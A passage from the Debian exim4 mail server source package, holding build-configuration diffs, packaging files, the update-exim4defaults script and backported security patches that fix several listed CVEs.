{s/^builddaemonpackages=/builddaemonpackages=exim4-daemon-$PACKAGESUFFIX /; \ }" > rules.new echo >> rules.new < rules sed -n "\ /^build-exim4-daemon-custom/,/^[^[:space:]]/ \ { \ s/exim4-daemon-custom/exim4-daemon-$PACKAGESUFFIX/; \ s/exim4-custom/exim4-$PACKAGESUFFIX/; \ /^build-exim4-daemon-$PACKAGESUFFIX/p; /^[^[:space:]]/d; \ p; \ }" \ >> rules.new chmod --reference=rules rules.new mv rules.new rules debian/exim4-base.docs0000644000000000000000000000102212200230010011745 0ustar b-exim4-daemon-light/NOTICE b-exim4-daemon-light/ACKNOWLEDGMENTS b-exim4-daemon-light/doc/README b-exim4-daemon-light/doc/README.SIEVE b-exim4-daemon-light/README.UPDATING b-exim4-daemon-light/doc/dbm.discuss.txt b-exim4-daemon-light/doc/Exim3.upgrade b-exim4-daemon-light/doc/Exim4.upgrade b-exim4-daemon-light/doc/filter.txt b-exim4-daemon-light/doc/NewStuff b-exim4-daemon-light/doc/OptionLists.txt b-exim4-daemon-light/doc/spec.txt b-exim4-daemon-light/doc/GnuTLS-FAQ.txt debian/changelog.Debian.old debian/README.Debian.html debian/EDITME.exim4-heavy.diff0000644000000000000000000001117112200230010013103 0ustar --- EDITME.exim4-light 2012-05-18 20:11:24.000000000 +0200 +++ EDITME.exim4-heavy 2012-05-18 20:13:56.000000000 +0200 @@ -212,7 +212,7 @@ ROUTER_REDIRECT=yes # This one is very special-purpose, so is not included by default. -# ROUTER_IPLOOKUP=yes +ROUTER_IPLOOKUP=yes #------------------------------------------------------------------------------ @@ -244,7 +244,7 @@ TRANSPORT_LMTP=yes SUPPORT_MAILDIR=yes SUPPORT_MAILSTORE=yes -# SUPPORT_MBX=yes +SUPPORT_MBX=yes #------------------------------------------------------------------------------ @@ -300,14 +300,14 @@ LOOKUP_DNSDB=yes LOOKUP_CDB=yes LOOKUP_DSEARCH=yes # LOOKUP_IBASE=yes -# LOOKUP_LDAP=yes -# LOOKUP_MYSQL=yes +LOOKUP_LDAP=yes +LOOKUP_MYSQL=yes LOOKUP_NIS=yes # LOOKUP_NISPLUS=yes # LOOKUP_ORACLE=yes LOOKUP_PASSWD=yes -# LOOKUP_PGSQL=yes -# LOOKUP_SQLITE=yes +LOOKUP_PGSQL=yes +LOOKUP_SQLITE=yes # LOOKUP_SQLITE_PC=sqlite3 # LOOKUP_WHOSON=yes @@ -328,7 +328,7 @@ LOOKUP_PASSWD=yes # with Solaris 7 onwards. Uncomment whichever of these you are using. # LDAP_LIB_TYPE=OPENLDAP1 -# LDAP_LIB_TYPE=OPENLDAP2 +LDAP_LIB_TYPE=OPENLDAP2 # LDAP_LIB_TYPE=NETSCAPE # LDAP_LIB_TYPE=SOLARIS @@ -366,6 +366,9 @@ LOOKUP_PASSWD=yes # LOOKUP_LIBS=-L/usr/local/lib -lldap -llber -lmysqlclient -lpq -lgds -lsqlite3 +LOOKUP_INCLUDE=-I/usr/include/mysql -I`pg_config --includedir` +LOOKUP_LIBS=-lldap -llber -lmysqlclient -lpq -lsqlite3 + #------------------------------------------------------------------------------ # Compiling the Exim monitor: If you want to compile the Exim monitor, a # program that requires an X11 display, then EXIM_MONITOR should be set to the @@ -374,7 +377,7 @@ LOOKUP_PASSWD=yes # files are defaulted in the OS/Makefile-Default file, but can be overridden in # local OS-specific make files. -EXIM_MONITOR=eximon.bin +# EXIM_MONITOR=eximon.bin #------------------------------------------------------------------------------ @@ -384,14 +387,14 @@ EXIM_MONITOR=eximon.bin # and the MIME ACL. Please read the documentation to learn more about these # features. -# WITH_CONTENT_SCAN=yes +WITH_CONTENT_SCAN=yes # If you want to use the deprecated "demime" condition in the DATA ACL, # uncomment the line below. Doing so will also explicitly turn on the # WITH_CONTENT_SCAN option. If possible, use the MIME ACL instead of # the "demime" condition. -# WITH_OLD_DEMIME=yes +WITH_OLD_DEMIME=yes # If you're using ClamAV and are backporting fixes to an old version, instead # of staying current (which is the more usual approach) then you may need to @@ -578,14 +581,14 @@ WHITELIST_D_MACROS=OUTGOING # configuration to make use of the mechanism(s) selected. AUTH_CRAM_MD5=yes -# AUTH_CYRUS_SASL=yes -# AUTH_DOVECOT=yes +AUTH_CYRUS_SASL=yes +AUTH_DOVECOT=yes # AUTH_GSASL=yes # AUTH_GSASL_PC=libgsasl # AUTH_HEIMDAL_GSSAPI=yes # AUTH_HEIMDAL_GSSAPI_PC=heimdal-gssapi AUTH_PLAINTEXT=yes -# AUTH_SPA=yes +AUTH_SPA=yes #------------------------------------------------------------------------------ @@ -595,7 +598,7 @@ AUTH_PLAINTEXT=yes # Similarly for GNU SASL, unless pkg-config is used via AUTH_GSASL_PC. # Ditto for AUTH_HEIMDAL_GSSAPI(_PC). -# AUTH_LIBS=-lsasl2 +AUTH_LIBS=-lsasl2 # AUTH_LIBS=-lgsasl # AUTH_LIBS=-lgssapi -lheimntlm -lkrb5 -lhx509 -lcom_err -lhcrypto -lasn1 -lwind -lroken -lcrypt @@ -830,7 +833,7 @@ ZCAT_COMMAND=/bin/zcat # (version 5.004 or later) installed, set EXIM_PERL to perl.o. Using embedded # Perl costs quite a lot of resources. Only do this if you really need it. -# EXIM_PERL=perl.o +EXIM_PERL=perl.o #------------------------------------------------------------------------------ @@ -840,7 +843,7 @@ ZCAT_COMMAND=/bin/zcat # that the local_scan API is made available by the linker. You may also need # to add -ldl to EXTRALIBS so that dlopen() is available to Exim. -# EXPAND_DLFUNC=yes +EXPAND_DLFUNC=yes #------------------------------------------------------------------------------ @@ -850,11 +853,11 @@ ZCAT_COMMAND=/bin/zcat # support, which is intended for use in conjunction with the SMTP AUTH # facilities, is included only when requested by the following setting: -# SUPPORT_PAM=yes +SUPPORT_PAM=yes # You probably need to add -lpam to EXTRALIBS, and in some releases of # GNU/Linux -ldl is also needed. -EXTRALIBS=-ldl +EXTRALIBS=-lpam -export-dynamic #------------------------------------------------------------------------------ @@ -1174,7 +1177,7 @@ TMPDIR="/tmp" # local part) can be increased by changing this value. It should be set to # a multiple of 16. -# MAX_NAMED_LIST=16 +MAX_NAMED_LIST=32 #------------------------------------------------------------------------------ debian/exim4-base.links0000644000000000000000000000031312027557533012174 0ustar usr/share/man/man8/exim_db.8.gz usr/share/man/man8/exim_dumpdb.8.gz usr/share/man/man8/exim_db.8.gz usr/share/man/man8/exim_fixdb.8.gz usr/share/man/man8/exim_db.8.gz usr/share/man/man8/exim_tidydb.8.gz debian/eximon4.dirs0000644000000000000000000000002712027557533011444 0ustar usr/sbin usr/lib/exim4 debian/exim4-base.logrotate0000644000000000000000000000022212027557533013053 0ustar /var/log/exim4/mainlog /var/log/exim4/rejectlog { daily missingok rotate 10 compress delaycompress notifempty create 640 Debian-exim adm } debian/update-exim4defaults0000644000000000000000000002032312200230010013123 0ustar #!/bin/sh # update-exim4defaults(8): manage entries in /etc/default/exim4 # per script if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi unset LC_ALL export LC_CTYPE=C defaultfile=/etc/default/exim4 EX4DEF_INIT=false EX4DEF_FORCE=false if [ -r ${defaultfile} ]; then . ${defaultfile} fi # initialize variables EX4DEF_QUEUERUNNER="${QUEUERUNNER}" EX4DEF_QUEUEINTERVAL="${QUEUEINTERVAL}" EX4DEF_COMMONOPTIONS="${COMMONOPTIONS}" EX4DEF_QUEUERUNNEROPTIONS="${QUEUERUNNEROPTIONS}" EX4DEF_QFLAGS="${QFLAGS}" EX4DEF_SMTPLISTENEROPTIONS="${SMTPLISTENEROPTIONS}" EX4DEF_FLAGOPTIONS=false EX4DEF_FLAGREMOVE=false ex4def_usage () { echo "update-exim4defaults: manage entries in /etc/default/exim4" echo " usage: update-exim4defaults [[--queuerunner combined|separate|queueonly|ppp|no|nodaemon]" echo " [--qflags flags ] [--queuetime time] [--commonoptions options]" echo " [--queuerunneroptions options] [--smtplisteneroptions options]]" echo " [--remove-common options] [--remove-queue options]" echo " [--remove-smtp options]" echo " [--force|-f] [--help|-h]" echo " [--init]" } # used for initialzing and with --force. ex4def_write(){ EX4DEF_TMP="$(tempfile -m 600 -p ex4)" cat << EOF > "${EX4DEF_TMP}" # /etc/default/exim4 EX4DEF_VERSION='${EX4DEF_VERSION}' # 'combined' - one daemon running queue and listening on SMTP port # 'no' - no daemon running the queue # 'separate' - two separate daemons # 'ppp' - only run queue with /etc/ppp/ip-up.d/exim4. # 'nodaemon' - no daemon is started at all. # 'queueonly' - only a queue running daemon is started, no SMTP listener. # setting this to 'no' will also disable queueruns from /etc/ppp/ip-up.d/exim4 QUEUERUNNER='${EX4DEF_QUEUERUNNER}' # how often should we run the queue QUEUEINTERVAL='${EX4DEF_QUEUEINTERVAL}' # options common to quez-runner and listening daemon COMMONOPTIONS='${EX4DEF_COMMONOPTIONS}' # more options for the daemon/process running the queue (applies to the one # started in /etc/ppp/ip-up.d/exim4, too. QUEUERUNNEROPTIONS='${EX4DEF_QUEUERUNNEROPTIONS}' # special flags given to exim directly after the -q. See exim(8) QFLAGS='${EX4DEF_QFLAGS}' # Options for the SMTP listener daemon. By default, it is listening on # port 25 only. To listen on more ports, it is recommended to use # -oX 25:587:10025 -oP /var/run/exim4/exim.pid SMTPLISTENEROPTIONS='${EX4DEF_SMTPLISTENEROPTIONS}' EOF cat "${EX4DEF_TMP}" > "${defaultfile}" rm -f "${EX4DEF_TMP}" } ## Parse commandline TEMP=$(getopt -n update-exim4defaults \ -l qflags:,queuerunner:,queuetime:,commonoptions:,queuerunneroptions:,smtplisteneroptions:,remove-common:,remove-queue:,remove-smtp:,force,help,init -- \ +fh "$@") if test "$?" != 0; then echo "Terminating..." >&2 exit 1 fi eval set -- ${TEMP} while test "$1" != "--"; do case $1 in -f|--force) EX4DEF_FORCE=true ;; -h|--help) ex4def_usage exit 0 ;; --qflags) shift EX4DEF_QFLAGS="$1" ;; --queuerunner) shift EX4DEF_QUEUERUNNER="$1" if ! expr match "${EX4DEF_QUEUERUNNER}" '\(ppp\|no\|combined\|nodaemon\|queueonly\|separate\)$' >/dev/null ; then echo "invalid argument ${EX4DEF_QUEUERUNNER} for --queuerunner" 1>&2 exit 1 fi ;; --queuetime) shift EX4DEF_QUEUEINTERVAL="$1" ;; --commonoptions) shift EX4DEF_COMMONOPTIONS="$1" EX4DEF_FLAGOPTIONS=true ;; --queuerunneroptions) shift EX4DEF_QUEUERUNNEROPTIONS="$1" EX4DEF_FLAGOPTIONS=true ;; --smtplisteneroptions) shift EX4DEF_SMTPLISTENEROPTIONS="$1" EX4DEF_FLAGOPTIONS=true ;; --remove-common) shift EX4DEF_REMOVECOMMON="$1" EX4DEF_FLAGREMOVE=true ;; --remove-queue) shift EX4DEF_REMOVEQUEUE="$1" EX4DEF_FLAGREMOVE=true ;; --remove-smtp) shift EX4DEF_REMOVESMTP="$1" EX4DEF_FLAGREMOVE=true ;; --init) EX4DEF_INIT=true ;; esac shift done shift # No non-option arguments allowed. if [ "$#" -ne 0 ]; then echo "No non option arguments allowed" >&2 ex4def_usage >&2 exit 1 fi if [ "${EX4DEF_FLAGREMOVE}" = "true" ] && [ "${EX4DEF_FLAGOPTIONS}" = "true" ] ; then echo "Cannot use --remove-something together with --somethingoptions" >&2 ex4def_usage >&2 exit 1 fi #if [ ! -r ${defaultfile} ]; then # echo "Cannot read ${defaultfile}, terminating" >&2 # exit 1 #fi if "${EX4DEF_INIT}" = "true" ] ; then [ -e "${defaultfile}" ] && [ "${EX4DEF_FORCE}" != "true" ] && exit 0 # Reset to default values EX4DEF_QUEUERUNNER='combined' EX4DEF_QUEUEINTERVAL='30m' EX4DEF_COMMONOPTIONS='' EX4DEF_QUEUERUNNEROPTIONS='' EX4DEF_QFLAGS='' EX4DEF_SMTPLISTENEROPTIONS='' ex4def_write exit 0 fi #Try removing if [ "${EX4DEF_FLAGREMOVE}" = "true" ] ; then EX4DEF_REMOVEERROR="false" if [ ! -z "${EX4DEF_REMOVECOMMON}" ] ; then EX4DEF_COMMONOPTIONS=$(echo "${COMMONOPTIONS}" | \ sed -e "s${EX4DEF_REMOVECOMMON}" -e "s/ / /g" -e 's/^ //' -e 's/ $//') [ "${EX4DEF_COMMONOPTIONS}" = "${COMMONOPTIONS}" ] && \ EX4DEF_REMOVEERROR="true" fi if [ ! -z "${EX4DEF_REMOVEQUEUE}" ] ; then EX4DEF_QUEUERUNNEROPTIONS=$(echo "${QUEUERUNNEROPTIONS}" | \ sed -e "s${EX4DEF_REMOVEQUEUE}" -e "s/ / /g" -e 's/^ //' -e 's/ $//') [ "${EX4DEF_QUEUERUNNEROPTIONS}" = "${QUEUERUNNEROPTIONS}" ] && \ EX4DEF_REMOVEERROR="true" fi if [ ! -z "${EX4DEF_REMOVESMTP}" ] ; then EX4DEF_SMTPLISTENEROPTIONS=$(echo "${SMTPLISTENEROPTIONS}" | \ sed -e "s${EX4DEF_REMOVESMTP}" -e "s/ / /g" -e 's/^ //' -e 's/ $//') [ "${EX4DEF_SMTPLISTENEROPTIONS}" = "${SMTPLISTENEROPTIONS}"] && \ EX4DEF_REMOVEERROR="true" fi if [ "${EX4DEF_REMOVEERROR}" = "true" ] ; then echo "$0: removing failed, no changes" >&2 exit 64 fi EX4DEF_TMP="$(tempfile -m 600 -p ex4)" sed -e "s^QFLAGS=.*QFLAGS='${EX4DEF_QFLAGS}'" \ -e "s^QUEUERUNNER=.*QUEUERUNNER='${EX4DEF_QUEUERUNNER}'" \ -e "s^QUEUEINTERVAL=.*QUEUEINTERVAL='${EX4DEF_QUEUEINTERVAL}'" \ -e "s^COMMONOPTIONS=.*COMMONOPTIONS='${EX4DEF_COMMONOPTIONS}'" \ -e "s^QUEUERUNNEROPTIONS=.*QUEUERUNNEROPTIONS='${EX4DEF_QUEUERUNNEROPTIONS}'" \ -e "s^SMTPLISTENEROPTIONS=.*SMTPLISTENEROPTIONS='${EX4DEF_SMTPLISTENEROPTIONS}'" \ < $defaultfile > "${EX4DEF_TMP}" mv "${EX4DEF_TMP}" $defaultfile rm -f "${EX4DEF_TMP}" exit 0 fi if [ "${EX4DEF_FORCE}" = "true" ] ; then ex4def_write exit 0 else EX4DEF_DOANYTHING=0 EX4DEF_NOTALLOWED=0 if [ "${QUEUERUNNER}" != "${EX4DEF_QUEUERUNNER}" ]; then EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+1)) # switching the QUEUERUNNER modus is always allowed #[ -z "${QUEUERUNNER}" ] || EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+1)) fi if [ "${QUEUEINTERVAL}" != "${EX4DEF_QUEUEINTERVAL}" ] ; then EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+2)) [ -z "${QUEUEINTERVAL}" ] || \ EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+2)) fi if [ "${COMMONOPTIONS}" != "${EX4DEF_COMMONOPTIONS}" ] ; then EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+4)) [ -z "${COMMONOPTIONS}" ] || \ EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+4)) fi if [ "${QUEUERUNNEROPTIONS}" != "${EX4DEF_QUEUERUNNEROPTIONS}" ] ; then EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+8)) [ -z "${QUEUERUNNEROPTIONS}" ] || \ EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+8)) fi if [ "${SMTPLISTENEROPTIONS}" != "${EX4DEF_SMTPLISTENEROPTIONS}" ] ; then EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+16)) [ -z "${SMTPLISTENEROPTIONS}" ] || \ EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+16)) fi if [ "${QFLAGS}" != "${EX4DEF_QFLAGS}" ] ; then EX4DEF_DOANYTHING=$((${EX4DEF_DOANYTHING}+32)) [ -z "${QFLAGS}" ] || \ EX4DEF_NOTALLOWED=$((${EX4DEF_NOTALLOWED}+32)) fi [ ${EX4DEF_DOANYTHING} -eq 0 ] && exit 0 if [ ${EX4DEF_NOTALLOWED} -ne 0 ] ; then echo "setting(s) conflict with current one, terminating" >&2 exit ${EX4DEF_NOTALLOWED} fi EX4DEF_TMP="$(tempfile -m 600 -p ex4)" sed -e "s^QFLAGS=.*QFLAGS='${EX4DEF_QFLAGS}'" \ -e "s^QUEUERUNNER=.*QUEUERUNNER='${EX4DEF_QUEUERUNNER}'" \ -e "s^QUEUEINTERVAL=.*QUEUEINTERVAL='${EX4DEF_QUEUEINTERVAL}'" \ -e "s^COMMONOPTIONS=.*COMMONOPTIONS='${EX4DEF_COMMONOPTIONS}'" \ -e "s^QUEUERUNNEROPTIONS=.*QUEUERUNNEROPTIONS='${EX4DEF_QUEUERUNNEROPTIONS}'" \ -e "s^SMTPLISTENEROPTIONS=.*SMTPLISTENEROPTIONS='${EX4DEF_SMTPLISTENEROPTIONS}'" \ < $defaultfile > "${EX4DEF_TMP}" mv "${EX4DEF_TMP}" $defaultfile rm -f "${EX4DEF_TMP}" exit 0 fi debian/patches/0000755000000000000000000000000013237642710010622 5ustar debian/patches/CVE-2017-1000368.patch0000644000000000000000000000356013114446255013472 0ustar Description: Do not leak memory if multiple -p arguments are given Author: Steve Beattie This approach of keeping track of when allocations occurred and freeing them on multiple occurrances of the -p argument was chosen over reporting an error on argument re-use to retain existing behavior (lats argument given is the one used). This differs from the approach Exim upstream intends to take. CVE-2017-1000368 --- src/exim.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) Index: b/src/exim.c =================================================================== --- a/src/exim.c +++ b/src/exim.c @@ -1506,6 +1506,7 @@ int sender_address_domain = 0; int test_retry_arg = -1; int test_rewrite_arg = -1; BOOL arg_queue_only = FALSE; +BOOL allocated_received_protocol = FALSE; BOOL bi_option = FALSE; BOOL checking = FALSE; BOOL count_queue = FALSE; @@ -3092,7 +3093,12 @@ for (i = 1; i < argc; i++) /* -oMr: Received protocol */ - else if (Ustrcmp(argrest, "Mr") == 0) received_protocol = argv[++i]; + else if (Ustrcmp(argrest, "Mr") == 0) + { + if (allocated_received_protocol) store_free(received_protocol); + received_protocol = argv[++i]; + allocated_received_protocol = FALSE; + } /* -oMs: Set sender host name */ @@ -3191,11 +3197,15 @@ for (i = 1; i < argc; i++) uschar *hn = Ustrchr(argrest, ':'); if (hn == NULL) { + if (allocated_received_protocol) store_free(received_protocol); received_protocol = argrest; + allocated_received_protocol = FALSE; } else { + if (allocated_received_protocol) store_free(received_protocol); received_protocol = string_copyn(argrest, hn - argrest); + allocated_received_protocol = TRUE; sender_host_name = hn + 1; } } debian/patches/CVE-2016-1531-2.patch0000644000000000000000000000415612671566334013412 0ustar Backport of: From ce0cc17e69f8018341c65618aa87cdff3f329074 Mon Sep 17 00:00:00 2001 From: "Heiko Schlittermann (HS12-RIPE)" Date: Fri, 11 Mar 2016 23:44:53 +0100 Subject: [PATCH] Don't issue env warning if env is empty keep_environment needs to be mentioned in the runtime config. Setting add_environment isn't enough to suppress the warning. (cherry picked from commit 8e58ed807c77febfde61d3cf47928302f93cc99c) --- doc/doc-docbook/spec.xfpt | 7 ++++--- src/src/readconf.c | 6 +++--- test/confs/0615 | 1 + test/stderr/0615 | 20 ++++++++------------ 4 files changed, 16 insertions(+), 18 deletions(-) Index: exim4-4.82/doc/spec.txt =================================================================== --- exim4-4.82.orig/doc/spec.txt 2016-03-14 12:54:49.637976215 -0400 +++ exim4-4.82/doc/spec.txt 2016-03-14 12:54:49.633976167 -0400 @@ -13307,8 +13307,10 @@ You may work around this using a regular expression that does not match the macro name: ^[F]OO_HOME$. -Current versions of Exim issue a warning during startupif you do not mention -keep_environment or add_environment in your runtime configuration file. +Current versions of Exim issue a warning during startup if you do not mention +keep_environment in your runtime configuration file and if there is +anything in your environment. Future versions may not issue that warning +anymore. +--------------+---------+----------+-----------+ |keep_malformed|Use: main|Type: time|Default: 4d| Index: exim4-4.82/src/readconf.c =================================================================== --- exim4-4.82.orig/src/readconf.c 2016-03-14 12:54:49.637976215 -0400 +++ exim4-4.82/src/readconf.c 2016-03-14 12:54:49.633976167 -0400 @@ -3397,10 +3397,10 @@ } #endif -if ((!add_environment || *add_environment == '\0') && !keep_environment) +if (!keep_environment && environ && *environ) log_write(0, LOG_MAIN, - "WARNING: purging the environment.\n" - " Suggested action: use keep_environment and add_environment.\n"); + "Warning: purging the environment.\n" + " Suggested action: use keep_environment."); } debian/patches/series0000644000000000000000000000104213237642710012034 0ustar 31_eximmanpage.dpatch 32_exim4.dpatch 33_eximon.binary.dpatch 34_eximstatsmanpage.dpatch 35_install.dpatch 50_localscan_dlopen.dpatch 60_convert4r4.dpatch 66_enlarge-dh-parameters-size.dpatch 67_unnecessaryCopt.diff 70_remove_exim-users_references.dpatch 75_unbind-ldap-connection.diff 76_fix_ldap_option_setting.diff 77_close-the-server-side-of-TLS.diff fix_smtp_banner.patch CVE-2014-2972.patch CVE-2016-1531.patch CVE-2016-1531-2.patch CVE-2016-1531-3.patch CVE-2016-1531-4.patch CVE-2016-9963.patch CVE-2017-1000368.patch CVE-2018-6789.patch debian/patches/CVE-2014-2972.patch0000644000000000000000000000444312671565344013262 0ustar Backport of: From 7685ce68148a083d7759e78d01aa5198fc099c44 Mon Sep 17 00:00:00 2001 From: Tony Finch Date: Wed, 16 Jul 2014 06:13:39 -0700 Subject: [PATCH] Only expand integers for integer math once --- src/src/expand.c | 31 ++++++++++++++++++++++++++++--- 1 file changed, 28 insertions(+), 3 deletions(-) Index: exim4-4.82/src/expand.c =================================================================== --- exim4-4.82.orig/src/expand.c 2016-03-14 12:46:04.239712357 -0400 +++ exim4-4.82/src/expand.c 2016-03-14 12:46:20.555906816 -0400 @@ -14,6 +14,7 @@ /* Recursively called function */ static uschar *expand_string_internal(uschar *, BOOL, uschar **, BOOL, BOOL); +static int_eximarith_t expanded_string_integer(uschar *, BOOL); #ifdef STAND_ALONE #ifndef SUPPORT_CRYPTEQ @@ -2325,7 +2326,7 @@ } else { - num[i] = expand_string_integer(sub[i], FALSE); + num[i] = expanded_string_integer(sub[i], FALSE); if (expand_string_message != NULL) return NULL; } } @@ -6305,7 +6306,7 @@ int_eximarith_t max; uschar *s; - max = expand_string_integer(sub, TRUE); + max = expanded_string_integer(sub, TRUE); if (expand_string_message != NULL) goto EXPAND_FAILED; s = string_sprintf("%d", vaguely_random_number((int)max)); @@ -6502,8 +6503,32 @@ int_eximarith_t expand_string_integer(uschar *string, BOOL isplus) { +return expanded_string_integer(expand_string(string), isplus); +} + + +/************************************************* + * Interpret string as an integer * + *************************************************/ + +/* Convert a string (that has already been expanded) into an integer. + +This function is used inside the expansion code. + +Arguments: + s the string to be expanded + isplus TRUE if a non-negative number is expected + +Returns: the integer value, or + -1 if string is NULL (which implies an expansion error) + -2 for an integer interpretation error + expand_string_message is set NULL for an OK integer +*/ + +static int_eximarith_t +expanded_string_integer(uschar *s, BOOL isplus) +{ int_eximarith_t value; -uschar *s = expand_string(string); uschar *msg = US"invalid integer \"%s\""; uschar *endptr; debian/patches/70_remove_exim-users_references.dpatch0000755000000000000000000000342312027557533020205 0ustar #! /bin/sh /usr/share/dpatch/dpatch-run ## 70_remove_exim-users_references.dpatch by Marc Haber ## ## All lines beginning with `## DP:' are a description of the patch. ## DP: No description. diff -NurbBp exim.orig/README exim/README --- exim.orig/README 2005-08-30 12:07:58.000000000 +0200 +++ exim/README 2009-11-15 12:17:48.000000000 +0100 @@ -16,8 +16,16 @@ from Exim 3, though the basic structure older book may be helpful for the background, but a lot of the detail has changed, so it is likely to be confusing to newcomers. -There is a web site at http://www.exim.org; this contains details of the -mailing list exim-users@exim.org. +Information about the way Debian has built the binary packages is +obtainable in /usr/share/doc/exim4-base/README.Debian.gz, and there +is a Debian-centered mailing list, +pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific +questions there, and only write to the upstream exim-users mailing +list if you are sure that your question is not Debian-specific. You +can find the subscription web page on +http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users + +There is a web site at http://www.exim.org. A copy of the Exim FAQ should be available from the same source that you used to obtain the Exim distribution. Additional formats for the documentation diff -NurbBp exim.orig/src/eximstats.src exim/src/eximstats.src --- exim.orig/src/eximstats.src 2009-11-15 12:16:19.000000000 +0100 +++ exim/src/eximstats.src 2009-11-15 12:17:48.000000000 +0100 @@ -536,8 +536,7 @@ about how to create charts from the tabl =head1 AUTHOR -There is a web site at http://www.exim.org - this contains details of the -mailing list exim-users@exim.org. +There is a web site at http://www.exim.org =head1 TO DO debian/patches/34_eximstatsmanpage.dpatch0000755000000000000000000000104112245437403015665 0ustar Description: Add note about installing perl-modules on Debian to generated manpage Author: Andreas Metzler Origin: vendor Forwarded: not-needed Last-Update: 2013-09-28 --- exim4-4.82~rc1.orig/src/eximstats.src +++ exim4-4.82~rc1/src/eximstats.src @@ -501,6 +501,10 @@ To install these, download and unpack th make test make install +On B you can use +C +instead. + =item B<-chartdir>I Create the charts in the directory debian/patches/CVE-2016-1531-4.patch0000644000000000000000000000667312671566420013416 0ustar Backport of: From 3de973a29de6852d61ba9bf1845835d08ca5a5ab Mon Sep 17 00:00:00 2001 From: "Heiko Schlittermann (HS12-RIPE)" Date: Wed, 2 Mar 2016 22:07:45 +0100 Subject: [PATCH] Delay chdir(/) until we opened the main config --- doc/doc-docbook/spec.xfpt | 2 -- src/src/exim.c | 13 ++++++------- src/src/readconf.c | 17 +++++++++-------- 3 files changed, 15 insertions(+), 17 deletions(-) Index: exim4-4.82/doc/spec.txt =================================================================== --- exim4-4.82.orig/doc/spec.txt 2016-03-14 12:55:41.574595622 -0400 +++ exim4-4.82/doc/spec.txt 2016-03-14 12:55:41.566595527 -0400 @@ -3362,8 +3362,6 @@ first file that exists is used. Failure to open an existing file stops Exim from proceeding any further along the list, and an error is generated. - The file names need to be absolute names. - When this option is used by a caller other than root, and the list is different from the compiled-in list, Exim gives up its root privilege immediately, and runs with the real and effective uid and gid set to those Index: exim4-4.82/src/exim.c =================================================================== --- exim4-4.82.orig/src/exim.c 2016-03-14 12:55:41.574595622 -0400 +++ exim4-4.82/src/exim.c 2016-03-14 12:55:41.566595527 -0400 @@ -3646,14 +3646,11 @@ /* Read the main runtime configuration data; this gives up if there is a failure. It leaves the configuration file open so that the subsequent -configuration data for delivery can be read if needed. */ +configuration data for delivery can be read if needed. -/* To be safe: change the working directory to /. */ -if (Uchdir("/") < 0) - { - perror("exim: chdir `/': "); - exit(EXIT_FAILURE); - } +NOTE: immediatly after opening the configuration file we change the working +directory to "/"! Later we change to $spool_directory. We do it there, because +during readconf_main() some expansion takes place already. */ /* Store the initial cwd before we change directories */ if ((initial_cwd = getcwd(NULL, 0)) == NULL) @@ -3664,6 +3661,8 @@ readconf_main(); +/* Now in directory "/" */ + if (cleanup_environment() == FALSE) log_write(0, LOG_PANIC_DIE, "Can't cleanup environment"); Index: exim4-4.82/src/readconf.c =================================================================== --- exim4-4.82.orig/src/readconf.c 2016-03-14 12:55:41.574595622 -0400 +++ exim4-4.82/src/readconf.c 2016-03-14 12:55:41.570595575 -0400 @@ -2953,14 +2953,6 @@ != NULL) { - /* To avoid confusion: Exim changes to / at the very beginning and - * and to $spool_directory later. */ - if (filename[0] != '/') - { - fprintf(stderr, "-C %s: only absolute names are allowed\n", filename); - exit(EXIT_FAILURE); - } - /* Cut out all the fancy processing unless specifically wanted */ #if defined(CONFIGURE_FILE_USE_NODE) || defined(CONFIGURE_FILE_USE_EUID) @@ -3014,6 +3006,15 @@ if (config_file != NULL || errno != ENOENT) break; } +/* Now, once we found and opened our configuration file, we change the directory +to a safe place. Later we change to $spool_directory. */ + +if (Uchdir("/") < 0) + { + perror("exim: chdir `/': "); + exit(EXIT_FAILURE); + } + /* On success, save the name for verification; config_filename is used when logging configuration errors (it changes for .included files) whereas config_main_filename is the name shown by -bP. Failure to open a configuration debian/patches/CVE-2018-6789.patch0000644000000000000000000000401313237642710013261 0ustar Backport of: From 062990cc1b2f9e5d82a413b53c8f0569075de700 Mon Sep 17 00:00:00 2001 From: "Heiko Schlittermann (HS12-RIPE)" Date: Mon, 5 Feb 2018 22:23:32 +0100 Subject: [PATCH] Fix base64d() buffer size (CVE-2018-6789) Credits for discovering this bug: Meh Chang --- doc/doc-txt/ChangeLog | 6 ++++-- src/src/base64.c | 8 ++++++-- 2 files changed, 10 insertions(+), 4 deletions(-) #diff --git a/doc/doc-txt/ChangeLog b/doc/doc-txt/ChangeLog #index 6e71f1fbb..970ec0732 100644 #--- a/doc/doc-txt/ChangeLog #+++ b/doc/doc-txt/ChangeLog #@@ -5,8 +5,8 @@ affect Exim's operation, with an unchanged configuration file. For new # options, and new features, see the NewStuff file next to this ChangeLog. # # #-Since Exim version 4.90 #------------------ #+Exim version 4.90.1 #+------------------- # # JH/03 Fix pgsql lookup for multiple result-tuples with a single column. # Previously only the last row was returned. #@@ -58,6 +58,8 @@ JH/14 Bug 2174: A timeout on connect for a callout was also erroneously seen as # was marked defer_ok. Fix to keep the two timeout-detection methods # separate. # #+HS/01 Fix Buffer overflow in base64d() (CVE-2018-6789) #+ # JH/16 Fix bug in DKIM verify: a buffer overflow could corrupt the malloc # metadata, resulting in a crash in free(). # Index: exim4-4.86.2/src/auths/b64decode.c =================================================================== --- exim4-4.86.2.orig/src/auths/b64decode.c 2018-02-10 14:16:38.950220902 -0500 +++ exim4-4.86.2/src/auths/b64decode.c 2018-02-10 14:17:48.542303370 -0500 @@ -42,10 +42,14 @@ static uschar dec64table[] = { int auth_b64decode(uschar *code, uschar **ptr) { -register int x, y; -uschar *result = store_get(3*(Ustrlen(code)/4) + 1); -*ptr = result; +int x, y; +uschar *result; + +{ + int l = Ustrlen(code); + *ptr = result = store_get(1 + 